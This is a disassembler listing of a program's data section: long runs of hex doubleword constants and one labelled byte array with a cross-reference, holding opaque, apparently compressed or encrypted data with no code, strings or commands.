		dd 0B5C307D4h, 3233F62Dh, 0B98B9D93h, 0DB20D9EEh, 0A7899779h
		dd 593D2690h, 1BFA65C3h, 5EECD4F7h, 43C63CB1h, 2DBFE148h
		dd 99859FB1h, 2C4CC4E2h, 0A74B658Fh, 9D64953Ah,	0CE7099D8h
		dd 0C1439629h, 98B8C68Ah, 0E9351990h, 32E2A2B9h, 0AD2631B5h
		dd 6A53C0E2h, 0CE49A9F8h, 7C34E140h, 65536B95h,	652CFE0Dh
		dd 808E0D63h, 3011F055h, 0EBAC29FBh, 9DB2AD9Ch,	4E49A9Bh
		dd 0CC7A7197h, 6CAD5A92h, 234EC9BAh, 0C0AFCAD9h, 4AD4771Fh
		dd 0A7FF88AEh, 0F7F8E143h, 0F42536DEh, 184B594Ch, 0EB6AC987h
		dd 0B57476ACh, 70C129D7h, 0BF8B6D69h, 8CC9B159h, 5E512A5Ah
		dd 0C8690DCh, 635D323Ch, 8E824B6Bh, 0F8ADD9F0h,	0EE225D93h
		dd 0D7731A2Ch, 5160DADCh, 0FB719C25h, 0ECC9270Ch, 55A1317Ah
		dd 89E25465h, 9F4F49AAh, 0CF8AA5C5h, 89C93439h,	79E5313Ch
		dd 76733A3Eh, 536B53FDh, 3F8BF69Ch, 665C583Dh, 19FB6D6Fh
		dd 0DDDD2431h, 0CC692CD6h, 0A65C5CBEh, 0EB1307B4h, 0B6C9D937h
		dd 0A4BA4BA4h, 4BA4BA4Bh, 0BA4BA4BAh, 0A4BA4BA4h, 4BA4BA4Bh
		dd 0BA4BA4BAh, 0A4BA4BA4h, 4BA4BA4Bh, 0BA4BA4BAh, 0A4BA4BA4h
		dd 0FBA4BA4Bh, 7FF474F7h, 379A55E8h, 831DF06Dh,	0BCB673A2h
		dd 8E93BBCEh, 0FFCAE4CAh, 0E746CF1Dh, 3A7EFBE0h, 3DDF13AFh
		dd 289A7E21h, 0A5FBE368h, 79E2973Bh, 7865CF06h,	3D249F1Eh
		dd 363A3DDDh, 0BB792F81h, 0F2639A50h, 89D779F8h, 0FC4EBDCFh
		dd 383C3C2Ah, 0CF197124h, 1825C6E3h, 0B779546Bh, 566E19BAh
		dd 7C337A65h, 47F2DF04h, 7DE16253h, 6F904338h, 0CBBA6F7Bh
		dd 50BE3A0Eh, 6A887B85h, 0C25EE980h, 6E71B82Dh,	0AAACEE33h
		dd 3719DBE1h, 0BE1A7718h, 4FCBFA9Dh, 27BE9BCDh,	0E13D69DCh
		dd 9DD8A54Eh, 0DD37941Dh, 1EDE6984h, 853B8654h,	111B71EAh
		dd 0A9CB89DFh, 0E96EF92Ah, 0D46BDC16h, 0D112F7CCh, 0F22DD15Dh
		dd 0E3D495AEh, 0CA0EE5A9h, 0E91EE97h, 4D277719h, 699729CCh
		dd 7945AEE8h, 0DC72F61Bh, 77CF94DCh, 5E21652Fh,	0C7ED60DEh
		dd 0AF744EBDh, 0F9BE26D2h, 545BDE52h, 0B948DC69h, 0DB6E8192h
		dd 4121D9C6h, 659ACDB7h, 4A9DF154h, 0BA278DAAh,	0E45F2A0Bh
		dd 0CFDB771Bh, 627F909Ah, 2AFD3B0Ah, 60E530DCh,	0D54CC3BEh
		dd 0C66A77C2h, 53BF8A38h, 68E37634h, 72EF6E29h,	2481DA0h
		dd 4A052C0Dh, 72D8F267h, 1BF6F483h, 0E476E93Bh,	1109FC1Ch
		dd 43693DE9h, 4E4E5B41h, 0ACA9FC26h, 0E8DB4B2Bh, 0F10A168Eh
		dd 0B96DEA6Dh, 1CB3D1C6h, 0A715294Eh, 0D2BDBAFFh, 9D9D5DE8h
		dd 8A3F41F2h, 0A7EFEA02h, 47FE5154h, 83F2EF97h,	0E73E517Eh
		dd 4F5F6536h, 5F8742BBh, 2BD1A2D2h, 322837Bh, 0B07057D4h
		dd 0EE229F83h, 0A3331DC9h, 0C0BECC53h, 287E8BB7h, 933E171Fh
		dd 7C913Dh, 18FD4970h, 6A3F4A0Ch, 223F8FDFh, 498CFE8h
		dd 5B9CE3F6h, 2A2696D4h, 1CCD5FFFh, 3013BFE3h, 0F299D4E5h
		dd 6FD395BBh, 745EFDD4h, 8A1ED046h, 35EC6746h, 0B1E4D222h
		dd 657B19C4h, 0D14C7984h, 83856F7Ch, 0BF6C2E22h, 1FB7E79Eh
		dd 87B2EAEEh, 530A2163h, 0CD0FC3E8h, 0DC887C70h, 677FA154h
		dd 0BDD49D17h, 8B8E8D13h, 0B00E8FDh, 0CD0E31h, 98FF73D0h
		dd 3B3F4470h, 0A6C74514h, 4563A345h, 0D1C7E8D1h, 3D78BBEBh
		dd 0C364C77h
		dd 829D79D8h, 0A3FB35DFh, 8E17C6A7h, 0F8CF8D15h, 10BE3A38h
		dd 0E8E3FFB0h, 0E1A9D127h, 0E3C7E89Dh, 9F1FA36Bh, 0B63A277Ah
		dd 1BCF08A6h, 0BCA53BF3h, 0F2FB7FFAh, 92D4CE4Ah, 2E92E92Eh
		dd 0E92E92E9h, 0FFEE337Eh
		db 0
byte_416C9D	db 0FDh, 0Fh, 6Fh	; DATA XREF: .data:off_40B050o
		dd 9099DDCDh, 0B4C36676h, 4BAABA41h, 7E778E1Dh,	0E2FDB274h
		dd 6D4E07EBh, 0CF792999h, 0FB62747Dh, 0EEFC2B1h, 0BBB23E3Eh
		dd 0E3EEDF7Ah, 5D0FE62Bh, 0A938F293h, 7BF758D8h, 3F26CCF1h
		dd 0BC5F7654h, 0C25A61F3h, 0BAEE07DEh, 0F6F63D8Dh, 0FBA8789Eh
		dd 3F83D74Eh, 0EBD7E9B7h, 3E277BD5h, 6E080F23h,	0F73DA43Fh
		dd 0BB5B204Ah, 0D41C8C4Fh, 0B85FDD0Ch, 3DAEEEF1h, 7FB66F15h
		dd 0E7E3BD35h, 0BFBE47F3h, 0FFC10341h, 23DFBB07h, 0AECD0C3Ah
		dd 1D9E035Ah, 5FE7FCECh, 0C5A230F4h, 70F7718Dh,	44B2FF9Fh
		dd 0EC64870Fh, 14043575h, 0E72736D3h, 57B2E1EAh, 6D5CCA49h
		dd 0BC436D94h, 6FE7348Bh, 1230A2ABh, 42284803h,	9737048Dh
		dd 66CCF2EBh, 0A5653943h, 9EFABDEAh, 0E1F9E880h, 0D4DFABCEh
		dd 0F1E22261h, 70C19451h, 5F44AD73h, 8755B85Dh,	4C649493h
		dd 0D226D6B9h, 46AF7A5Ch, 0D8E42BF4h, 50DB44ABh, 0B01C5132h
		dd 0A708B364h, 7ABEA835h, 90BD7571h, 10F99062h,	0B3846CBFh
		dd 230149E7h, 22202F6Bh, 95AF3A34h, 5EFC6803h, 3818C7FBh
		dd 1DA46591h, 0DBBB3B87h, 0A259C262h, 0F4E71621h, 3FFEA898h
		dd 7996344Bh, 864D3D72h, 6334745Bh, 0AF0B4F98h,	9CFA7012h
		dd 598FD288h, 0CE919F68h, 3E110E15h, 0C6F1B1B5h, 0A79A6ADAh
		dd 0A9AB85B4h, 4BCCC425h, 0AFAD219Eh, 42C230AFh, 0B6BEA005h
		dd 4C45A441h, 0B99D7388h, 9D79B1A5h, 0AEC11A9Ah, 72FD47EEh
		dd 37E31A71h, 43343D46h, 1F5AA1Bh, 0ADFB304Bh, 561756D4h
		dd 0CAC2DD12h, 30655812h, 0ECC66399h, 47A66730h, 0AB5842D2h
		dd 0BC2EF763h, 34A3F516h, 2B567E36h, 2884E85h, 0FA112242h
		dd 53FCCE82h, 0CADDAF9Dh, 5BD2CDB4h, 1862014Eh,	238F8D0Bh
		dd 27EBC71h, 0D00A3521h, 26DAE6CAh, 69CDEB95h, 0CB44A0BCh
		dd 348463C9h, 82302217h, 22F99F86h, 794757D7h, 0B6140FC0h
		dd 0CBD69121h, 5C115DB8h, 0B8BD525Fh, 7D28C6F1h, 33F3B67Fh
		dd 0CFA2EBD0h, 3E48BD72h, 95D564DAh, 707D8A37h,	2B119D32h
		dd 0CFAE7EF3h, 238BF67Bh, 0EBF8E636h, 0BEBAF48Ch, 2CAFEE67h
		dd 0DDFC265Fh, 0FEA32458h, 5DF6556h, 9D31D546h,	7E516027h
		dd 4FEE94F5h, 1006EBB0h, 7F63FFEFh, 5557F774h, 2849E11Dh
		dd 0BE99FFDFh, 40E16E09h, 0F5793992h, 45DE8F09h, 7BC4CF92h
		dd 0BB7EE530h, 0F9A31958h, 4FDC520Fh, 0E150AA97h, 0CD99288h
		dd 6E256A9Fh, 42572FF5h, 72DBC68Fh, 5E3E144Bh, 0C809F139h
		dd 0D0DEFE5Ch, 0CA49E48Fh, 18F77307h, 5D2B31F2h, 486112DFh
		dd 733A4E30h, 0C9DEEA50h, 893E6885h, 0CE1F9128h, 0BB4ED1C8h
		dd 478A084Fh, 4FCC6810h, 67BE238Ah, 0E968CB12h,	0B99459F9h
		dd 2684EB9Fh, 53B7EDF9h, 0E86F5D7Ah, 75F925C4h,	4CAFBAD0h
		dd 0D8CE4A79h, 0FCCF7108h, 9E7441B5h, 0EEAA74F6h, 362BE7C9h
		dd 9E377BF2h, 1750E335h, 0A00D0DE6h, 0AD5D4774h, 6FC844F3h
		dd 70BDC70Dh, 8A96A610h, 83691401h, 0EBCE6524h,	0F98ADEFAh
		dd 0CDA98387h, 90316EBBh, 0D87FECACh, 0B65FFE4Eh, 0ABCB0841h
		dd 7CDDC4Ah, 0EA47DC57h, 505FEC93h, 83B84CD5h, 8FD3DED2h
		dd 759BFCDAh, 7E15B082h, 0AE544905h, 6D25CF7Bh,	45B4DA08h
		dd 1FABF8DBh, 608B5A48h, 7A5106BAh, 1806FFD3h, 3E44D989h
		dd 0A4947674h, 2C895C94h, 0D8274E98h, 0AC3FA4B9h, 0B4143DBCh
		dd 9C85579Ah, 0B3275EBFh, 58AC9F2h, 0E7E20C68h,	0A5AF8958h
		dd 0DF055924h, 2AF21789h, 0A9D9F1E6h, 4A244FBFh, 42FCB972h
		dd 3655C848h, 0D634B637h, 0B87D0EA8h, 0D675F439h, 1CE8A521h
		dd 4EC5F97h, 0A8A57F6Ch, 6A8CDA74h, 2AEBE2F5h, 4857F697h
		dd 0EB3B392Dh, 25890862h, 8B5A9C2Ah, 0C1A31155h, 68F8D41h
		dd 33E8A7E9h, 0A47CA5ABh, 42278D42h, 0CD8D351Ch, 46D2668Eh
		dd 0E55092C2h, 0B556A2A8h, 1CC48C29h, 0FA563E46h, 0C03653BFh
		dd 0C330A15Dh, 304B51CAh, 0D5951535h, 17BFC19Ch, 68CCA2D7h
		dd 0C688B474h, 0F844AC18h, 0A10A8E57h, 576E55D4h, 0A177AA4h
		dd 0FAF06FACh, 557E512Bh, 0A3CA253Fh, 5AD329B2h, 0BB14BC5Ah
		dd 50EEB239h, 0A8EEFC9Ah, 867AF08Ch, 145E1128h,	80B8CAA5h
		dd 7837E6F3h, 40D40649h, 64E79625h, 75716255h, 4E336882h
		dd 648DC64Fh, 19A15032h, 0CC12A8E7h, 0CF51169Eh, 0CFC93126h
		dd 0E1F130A3h, 2ACC3520h, 11839CB4h, 27327900h,	0C5997505h
		dd 70F93E8Bh, 762EA217h, 0C8EF245h, 0E08AF19Eh,	822A251Bh
		dd 822B3056h, 1140343Fh, 7C43ADE4h, 2118D396h, 857F507Eh
		dd 660E4078h, 0B0540D02h, 0D63477C7h, 9C126E38h, 358C819Fh
		dd 0CE9371Ch, 0B699C16h, 96291FA4h, 0D46D3163h,	9AC451CEh
		dd 1D1B50E1h, 1D106FF0h, 61EC1D4Fh, 6FA438CCh, 0CC04E638h
		dd 3A1496FBh, 371C5B6Ah, 7463D455h, 77ED44DCh, 3A7C6441h
		dd 447233B0h, 7C3C1C58h, 57010F54h, 2AC69EABh, 0D93D2187h
		dd 0CCDAF4FCh, 0C3C3814Bh, 0D4B9C46Bh, 3A87D2BEh, 99A57801h
		dd 0AA696BB2h, 0A9ADACAEh, 0D9C0BE65h, 8E88E931h, 78CA87D2h
		dd 0D7A34E65h, 3179371h, 25A05AA5h, 95034547h, 0C723605Eh
		dd 5428D50Dh, 686B3EB5h, 29B4F0E4h, 0A690CB3Fh,	1064A53Eh
		dd 86FA05C6h, 8D862272h, 0C2D786A3h, 7D88A21h, 7B1ABBC2h
		dd 168A8736h, 0B5518E8Fh, 0E1034696h, 0A3EA0758h, 0A21C2A3Ah
		dd 0D11ED1FDh, 520991D6h, 89FEF47Dh, 79A2B396h,	6911AF11h
		dd 0B248AF0Ah, 285E5432h, 89D1A9A0h, 0C5921631h, 53E81E68h
		dd 513353D6h, 0D4524489h, 28B9A8F6h, 2CEBBEB9h,	8FA41F2Fh
		dd 2DC5D115h, 0FC226158h, 0CE8A419Fh, 0D35471F3h, 35241884h
		dd 0C5EA2B81h, 394880F7h, 2F28A569h, 7918AA1Fh,	0DE168E3Ah
		dd 255CF0ECh, 8965CB14h, 0B121F64Ch, 0E886A463h, 7A8641DBh
		dd 2B06E953h, 0BBE471A0h, 6A705EA3h, 37822A86h,	0CE964623h
		dd 437C219Dh, 0E62A993Ch, 22550CC9h, 4BC3BCD4h,	232695B3h
		dd 0BFD45BF7h, 391AE49h, 70B9E615h, 71AED22Fh, 0CF6DA9F0h
		dd 50FDEA79h, 905633A9h, 3D218A5Eh, 0EDDC7CD1h,	0F8FABF3Ch
		dd 201C2633h, 8BA25EFBh, 674554F2h, 17F98880h, 0A472896Dh
		dd 0D66F7541h, 0E749BC3h, 83E69D89h, 151D6620h,	0DE102ABCh
		dd 8813C19Ch, 0F8032198h, 9040325Dh, 6322D87h, 92CEE49Bh
		dd 7CB44DF0h, 81E19235h, 0C38F07B6h, 0F19117D8h, 886583CCh
		dd 3855E512h, 0C333042Ah, 166BF46Eh, 0A018C0Ch,	0CE782CF3h
		dd 28DB22DCh, 8806B82h,	403A81F5h, 0E384FE61h, 506206h
		dd 0A822A06Eh, 0DE6C0C2Fh, 0E8A79C31h, 12A3A584h, 1D530A18h
		dd 819E249Bh, 824B40D5h, 7A7E90F9h, 0DDAD2818h,	67424840h
		dd 670F9451h, 993349DCh, 2E0EE9F9h, 194368ADh, 0C607AA56h
		dd 98520D84h, 2661811Fh, 88AE1972h, 4D1DF05h, 576624D4h
		dd 0C116B8C3h, 3E78C06Dh, 0A942F3C5h, 0A8E92Fh,	0E77200E3h
		dd 6421CAB7h, 4364AB2Ch, 0DA45A794h, 7134F2A9h,	39CFCBCAh
		dd 16725A7Dh, 2A869B78h, 7A0083CCh, 44977DA5h, 8E34E54Ah
		dd 9C8FBDF4h, 0AE4A8E8Fh, 31A920C3h, 0AB0B0FACh, 0C063CC2h
		dd 3864C12Dh, 370BB64Bh, 16730B4Ah, 5F70C344h, 63827E09h
		dd 92B8EE6Ah, 0AF808AEBh, 8B8CAB08h, 0BCB50192h, 212331BCh
		dd 46198655h, 24E0954Ah, 6110D8D0h, 1D3C8D0Dh, 6E3B36B1h
		dd 59C22622h, 5043CD72h, 0CB544904h, 68D0FFFDh,	354C9898h
		dd 93FF3CB5h, 0A60EFEA3h, 83046488h, 8404D83Fh,	4F1204E8h
		dd 0DEBFA8Dh, 0C3EFAF5Fh
		dd 0E98635CFh, 8A864513h, 9F131E19h, 43F21CAh, 1A2D2053h
		dd 18056116h, 0AE21B6E7h, 0F3440164h, 108EED16h, 0A31AAD41h
		dd 0DB22C345h, 0DCBDF47Eh, 87A39FF7h, 2111B5E9h, 0A5283A11h
		dd 86A4B86Fh, 0DFFAFAD3h, 0E8FBFB4Ch, 0A7D6927Ah, 5F62153Ch
		dd 8C534FAFh, 191E192Fh, 39E86266h, 0DE4AFF74h,	6F40F39Ah
		dd 0D8626421h, 3EB0FC8h, 0EFF72553h, 0FAFEEBE7h, 0EC4D3C4Ch
		dd 2FB98661h, 0C7A2EB36h, 0B48D93h, 0E5D0EDh, 0ED88A219h
		dd 0DD1BC3B4h, 822AA74Fh, 25396B38h, 0E126C684h, 49364C5Fh
		dd 0D0F661DDh, 22F819F6h, 0DC957E9Ah, 0D661EB59h, 0A6AE1CE8h
		dd 7A742C7Dh, 8B349669h, 0A5B5341Dh, 0AA3B37D8h, 25BF1CBCh
		dd 3BDE035Ah, 44D745A7h, 8AE56284h, 0C0BC4C12h,	7A8E683Ah
		dd 2E5A1B9Bh, 5B20B01h,	297DD501h, 0D772F2A3h, 2A1130A9h
		dd 4A0CE88Eh, 4A6A86F9h, 0DD708ABCh, 0A098D369h, 62A881A7h
		dd 5E08107Dh, 1A8ECF90h, 1B4F1170h, 0AF123B31h,	10EE3222h
		dd 6FFD555Ah, 123CBDC4h, 1BEB4297h, 3138C97h, 1A090FBCh
		dd 0B14A916Dh, 1238B8D5h, 4407896Fh, 286C7565h,	614AE3E1h
		dd 16FEA529h, 0ADD80DC7h, 0EDA9C7FFh, 0B72C0443h, 0C4B70DC7h
		dd 28BF2E44h, 3EC87C76h, 720D3E41h, 8BF225E9h, 26F94052h
		dd 0BEAE9A9Ch, 1E4D97ADh, 237198DDh, 0D57B99C8h, 78C4F1A9h
		dd 53DAA1BBh, 0B516B8B1h, 0BE35BEDh, 5C040C5Bh,	8FD8BA4Bh
		dd 1C638510h, 204AB434h, 0C4645A6Bh, 457CFB9Eh,	199C0AE7h
		dd 9A34872Ch, 22E44164h, 51897C0Ah, 0D980D8DAh,	604B6887h
		dd 326E41DDh, 251B5D25h, 4B1F79B8h, 3E74035Ch, 0DE02F45Ah
		dd 48F355B3h, 0A69EC088h, 8A54AFE3h, 7B805EC4h,	112D2780h
		dd 0EE541258h, 583DA2F0h, 92E4D4Dh, 0BCE1AAF9h,	4E653166h
		dd 0DC8C769Ah, 8F979B65h, 0B1458C32h, 408F317h,	6D06B546h
		dd 85ABE2Ch, 0F276182Fh, 0F0DA6A8Eh, 0D2C4848Eh, 8BED161Eh
		dd 0B4FC2977h, 0A58A2CB8h, 0CE256CF5h, 0B5C4A715h, 12BC7F92h
		dd 0B000E78Fh, 12B407BAh, 1784957Ch, 17568122h,	896DD2DDh
		dd 0C3C07213h, 9CE42B00h, 0CD73B358h, 2A61D8A5h, 0B9CA8A6h
		dd 87868F7Dh, 9F8E8E11h, 0D5BF832Fh, 0C3197700h, 21C0C5C5h
		dd 0F099358Bh, 32E01877h, 63E2E19h, 358EEC0Eh, 0DE3FE1E3h
		dd 0E19E3700h, 607031CCh, 99AD17h, 6E01977Fh, 0C425C302h
		dd 6B06A1C0h, 0A17F872Eh, 8672EE01h, 3818C4Bh, 15CD702Bh
		dd 80685FF0h, 92E182BBh, 0CAC0E062h, 7F059359h,	0C59700D5h
		dd 38189670h, 64D73FB0h, 1B57FC3h, 0FAE19B2Eh, 5D81C0C5h
		dd 0F84AE6B4h, 0BB80603Fh, 0C7FAE192h, 6218E1C0h, 25C90E4Dh
		dd 1872E01Bh, 1C0C406Eh, 3C6B6058h, 8062DFF0h, 359C30F3h
		dd 0C1AC0E06h, 0DFF0CD35h, 6FA38069h, 0A3A01D52h, 0C2213891h
		dd 0BB3B42EBh, 0FB42EBE0h, 5CC892B8h, 0ECCA1C1Eh, 4F8E2FEAh
		dd 0D7147E30h, 99882951h, 0DCA8CF26h, 55B33CF2h, 595040CAh
		dd 3BFE490Eh, 0C74757F1h, 0DDCF6545h, 61F4EE52h, 0F24D4329h
		dd 5126A976h, 0A7948F08h, 0E9B57BA6h, 0CAA58222h, 0BA9C7E9h
		dd 0A8603EE5h, 0E30CEB87h, 83FC3274h, 67C9B806h, 0E053A718h
		dd 9B806DDFh, 485DA7D2h, 0FFCE85EEh, 0E8F53ED5h, 16F9433Ah
		dd 5C6A7E20h, 6705BD34h, 0F842DF28h, 2DC0358Fh,	2AF9433Ch
		dd 0E01BDC68h, 8F30CE2Ah, 817F806Eh, 3386EE01h,	0D24AA3CCh
		dd 55C037B3h, 551E619Eh, 1B67FC1h, 0C627EAAEh, 0ACA4C90Bh
		dd 0C4F03297h, 8DD92613h, 77E89F9Eh, 0AEDA19F7h, 0C787911h
		dd 0A19E3679h, 0DFE09AEDh, 326B8064h, 4DE48D94h, 0BCD1F11Ch
		dd 0E6A76CBBh, 0A49AF345h, 0D219978Dh, 0D8F86248h, 5DF6C0BCh
		dd 6BEC9243h, 1903700Ch, 969FB62Eh, 19641D41h, 1C037F8Dh
		dd 0A7EDF77Dh, 0D653427h, 0C9B29Ch, 0FB7DDF47h,	8380B7E9h
		dd 0C035DE53h, 62E196FDh, 0E00369FBh, 27F758E0h, 70C9A722h
		dd 77EEF8B1h, 7A538380h, 63BF700Dh, 0F77C58B8h,	29C1C07Bh
		dd 0D2F90619h, 2C5C33DFh, 70127BBEh, 1814A70h, 8B8649EEh
		dd 14F77C5h, 37A94E0Eh,	70C53DC0h, 0FEEF8B1h, 56538380h
		dd 0C0FEE01Bh, 0EEF8B170h, 29C1C069h, 0A7B8061Dh, 0DF162E19h
		dd 707011FDh, 0DC0321CAh, 606E191Fh, 0C046DC0Ch, 65D29C1h
		dd 370C8DB8h, 19EE0628h, 6629C1C0h, 19EE1473h, 0C0C5B386h
		dd 707009FDh, 0C3A0D72Ch, 0ECE189FDh, 2CF7031h,	68994E0Eh
		dd 0E1967B80h, 6DC0C706h, 0EB1C1C02h, 9B70E9F2h, 0C486E18h
		dd 838073DCh, 1D3E1D63h, 1B8639EEh, 2F7031Ah, 4758E0E0h
		dd 817B874Fh, 0E06392E1h, 8E0E0336h, 0B874F675h, 12970CCDh
		dd 0E022F703h, 69D94E0h, 6E1917B8h, 4BDC0C58h, 0C6897B80h
		dd 25EE01B3h, 62B3B86h,	0C1C065EEh, 700C4729h, 6A5C332Fh
		dd 0C016DC0Ch, 6DD29C1h, 370C2DB8h, 0CFEE063Ch,	0AC538380h
		dd 3FEA3906h, 31D9DC33h, 7015B70h, 700C38A7h, 446E195Bh
		dd 0C036DC0Ch, 0DE329C1h, 2E18DB70h, 3AE062Dh, 0AE4A7070h
		dd 0E183AE01h, 6DC0C646h, 4D76DC07h, 70EA0AE8h,	9CEE19DBh
		dd 57B818h, 1934A707h, 0B8615EE0h, 76E06373h, 594E0E00h
		dd 0C1DB8066h, 0B8188E70h, 5383809Dh, 0EDC033EEh, 62F3B864h
		dd 0B802FEE0h, 3178D0BFh, 0E185FDC0h, 0DB818FCEh, 345DB805h
		dd 0BB700C5Eh, 63D2E18h, 0E0E0376Eh, 0B8067D94h, 11970CDDh
		dd 7007B703h, 181C687Bh, 0DC30F6E0h, 0BDB818A8h, 784BDB80h
		dd 97B700CDh, 81882EE1h, 7070157Bh, 0C3AC067Ch,	1770CABDh
		dd 6BDC0C6h, 0FF08D7B8h, 635EE019h, 7031D1B8h, 0C70700FBh
		dd 0B70E9284h, 23FEE18Fh, 0C075EE06h, 0BD09AEBDh, 75EE1D2Dh
		dd 628BB86h, 0BDC00DEEh, 0D27841h, 8DC306F7h, 137B8189h
		dd 3CD26F70h, 0C9BDC037h, 0E0636370h, 3F6E03F6h, 0DC0353E1h
		dd 171B867Eh, 0E016F703h, 0C0794E0h, 0DC316F70h, 6F7031C5h
		dd 0D94E0E03h, 9B7B8068h, 81892EE1h, 0EF70077Bh, 0C0367E10h
		dd 0CE70C3BDh, 177B818h, 37ECA707h, 70CBBDC0h, 0BDC0C697h
		dd 68F7B807h, 0DEE0181Ch, 62CBB863h, 1C07DEE0h,	8063D29Ch
		dd 32E19F7Bh, 3EE063h, 31629C1Ch, 0C07C36E8h, 0E063E370h
		dd 0EE000Eh, 0DC0303E1h, 109B8601h, 0C057F703h,	0A77F087Dh
		dd 8643EE01h, 0EE063CBBh, 0AAFEE020h, 875AA209h, 5DC32BFBh
		dd 8770311h, 0AA558070h, 1907700Ch, 0EE062B2Eh,	9601C023h
		dd 0EE1D1889h, 0C765C310h, 0B80C7DC0h, 1AFE688Fh, 0B8623EE0h
		dd 3EE0632Bh, 84C7DC01h, 1F700DC7h, 0C4E5C33h, 7DC061DCh
		dd 173D09A2h, 8613EE1Dh, 0F703189Bh, 0D30EE029h, 3B806ABAh
		dd 629370CCh, 0B806FEE0h, 0B55D694Fh, 653EE144h, 0E062ABB8h
		dd 0BFB80EFEh, 0E01B3B51h, 5770C6FEh, 11DC0C7h,	0B715601Ch
		dd 0CEFEE01h, 0FB818AE7h, 847700Ch, 8EE01A9Fh, 18E4DC30h
		dd 0F701CFB8h, 323CD19h, 370C67DCh, 0BEE0625h, 91AF7DC0h
		dd 0DC28F12Dh, 35370CF7h, 0B8082E06h, 6479A5Eh,	0CB865EB8h
		dd 12FB818Dh, 3CD23F70h, 0C8FDC032h, 70317970h,	493B809Dh
		dd 0EE018E74h, 0C7E5C324h, 51AC65C0h, 0CA2EA0D6h, 0E7DC0351h
		dd 0C4D770Ch, 7DC028DCh, 5FA3F341h, 860BEE14h, 0BB81882Bh
		dd 0C2617000h, 30B80693h, 818B4DC3h, 905C02CBh,	5C031CE8h
		dd 8DAEE190h, 5C06CB81h, 1A4F088h, 0D370C42Eh, 4AEE063h
		dd 6FD497DCh, 192FB806h, 2E0630AEh, 9A9D7007h, 0E1D2A190h
		dd 28AE193Ah, 0E0226E06h
		dd 19BF528Eh, 0DC328EE0h, 49B8188Ch, 0FC07FB80h, 0FEE018B7h
		dd 0C5D770C1h, 0B8055DC0h, 0D87FE0AFh, 0C315F700h, 0AEE063B9h
		dd 0B4D7DC06h, 0BEE0196Eh, 18E2B866h, 0BAE01738h, 3FD69FE0h
		dd 70C5D70Ah, 85703125h, 0FE06FB80h, 6FB80659h,	634AE18h
		dd 0DF7008AEh, 1A67FC2h, 9B865BEEh, 3370319h, 3B51DF70h
		dd 63BEE01Bh, 703159B8h, 1BAE01D7h, 700D6BFEh, 16570CDDh
		dd 0DC06E703h, 190F093Fh, 70C9FEE0h, 0C57031E5h, 0FF063B80h
		dd 63B8063Dh, 63B370Ch,	0C77004AEh, 8063DF69h, 7370CE3Bh
		dd 1CAE062h, 7F2C7F87h,	5BF5D116h, 8B3F7043h, 280D9B81h
		dd 0C33FC13h, 0BB862670h, 3E6E063Eh, 3FE0E2E0h,	0C71700D1h
		dd 0E0637370h, 83D7014Ah, 0C0342CF2h, 0E6F970F5h, 4CDC0C5h
		dd 0CF5A09DCh, 1827700Dh, 0DC0C7E6Eh, 0AFC5C01Ch, 41F86251h
		dd 82EF9CF1h, 19FB818h,	0B5FF0CCEh, 0CCCF486h, 0EE0630B7h
		dd 0C025C07Ah, 2E01BD7Fh, 622AE181h, 2E02E6E0h,	61DFE11h
		dd 0BB8644B8h, 1E6E0621h, 7FE092E0h, 0C49700C0h, 70319570h
		dd 8167000Bh, 0CE01B77Fh, 315570C2h, 0D7010B70h, 6B66FE0Fh
		dd 0C31FAE14h, 55C0C755h, 0FC3FAE00h, 0F4700D93h, 6BE13FFDh
		dd 82EF5F61h, 26CB9658h, 105CFFD4h, 2A9172A9h, 273250E0h
		dd 37029708h, 0E9B60E0Ch, 75D5D05Dh, 9A83870Dh,	0F72A0BB5h
		dd 0B9C9E82Eh, 39DC246h, 741C2E77h, 91E75DA1h, 18383A59h
		dd 86C17252h, 0CD370B9Dh, 0EC43A0B9h, 0FC0E10BAh, 0C07FD708h
		dd 45DF3D41h, 2DB0F3EAh, 0BB8A82E0h, 2EE82A0Bh,	0BF1388A8h
		dd 65FB05D6h, 70BCD82Eh, 3B81C265h, 66409AE2h, 80AEE03Fh
		dd 2B94BE83h, 0B84AEE1Bh, 0B8D8381Ch, 507EE173h, 0B8746C17h
		dd 5C74B60h, 8C8BB106h,	8512C3D7h, 5CAAA60Bh, 0E576D750h
		dd 5DC3E5C1h, 0B82D3C43h, 0C2D77069h, 9E83874Dh, 0D6EA0BBCh
		dd 0BB43A82Eh, 7F0383AEh, 570C55C6h, 70A5702h, 4C175DD9h
		dd 0E0CAB95Ah, 82E6DCA0h, 160BBAFEh, 833F5CECh,	3A0E1EBBh
		dd 7079AEF0h, 0C016E1F3h, 55D6E741h, 5C037701h,	1F75D25h
		dd 8EE54D57h, 241F7A17h, 0AC3A4FDBh, 0FA485724h, 4407A4A7h
		dd 6FB4A77Ah, 0B758FD26h, 7A4353B4h, 0D3CFA49Ah, 0F4C1ED21h
		dd 242DBB48h, 0A03A48A3h, 3A49B7A4h, 4E5324A3h,	7BA4B2BAh
		dd 441A7A4Ah, 3E0C93E7h, 0EE92E0E9h, 932FC901h,	68C9290Ch
		dd 0E92C5E93h, 2ECE92B6h, 0CE91EAC9h, 9394C92Ch, 35D100BEh
		dd 0FA49F3A4h, 412FA4AAh, 0A50BF4B2h, 0C4E92E9Eh, 0E92B9C92h
		dd 1EE92EDh, 0BE92F4E9h, 92EAE929h, 35AD2D0Ch, 47B95F24h
		dd 0DE92A0EAh, 92E1E929h, 0CE93A5Ch, 0E92C1E93h, 398C92A9h
		dd 4E12CBE9h, 1A461922h, 4DCF2480h, 3324CF72h, 0A4B6F24Ah
		dd 0A97A4C43h, 0F249D324h, 4DA324C7h, 83A4BB7Ah, 0A4BF324Bh
		dd 0ABEBAB33h, 0C928FC92h, 2CCE9227h, 0AE92C7E9h, 92BAE92Ah
		dd 52C92E6Eh, 0E9244C92h, 2FEE92FAh, 0CE921DC9h, 92FAE92Ch
		dd 0F52AA54Ch, 0FC27FF67h, 80473A59h, 11E626EDh, 0DAA0192h
		dd 7C47F792h, 15BFE23Fh, 9D867EC8h, 0D0D7E625h,	6976A8B5h
		dd 0B4A168C7h, 0B751B42Bh, 0EC2093F3h, 8413B8EEh, 0CFEA1C1Dh
		dd 9DB643Dh, 4C51352Eh,	0C7EC8F5Ch, 138770CDh, 744F0D05h
		dd 7124ECF7h, 0B8D10499h, 39FF65FBh, 16053FD0h,	0B3ADDF41h
		dd 282A3A08h, 9FAB2CFBh, 0FD405BB0h, 40EE11B5h,	60CB613Fh
		dd 3FBB9C34h, 0FA22E9DDh, 2EA0D689h, 47D954B8h,	0AF02019Eh
		dd 261CFF52h, 81F453D9h, 55B66E13h, 0F7A15C5Ch,	39C0F4Dh
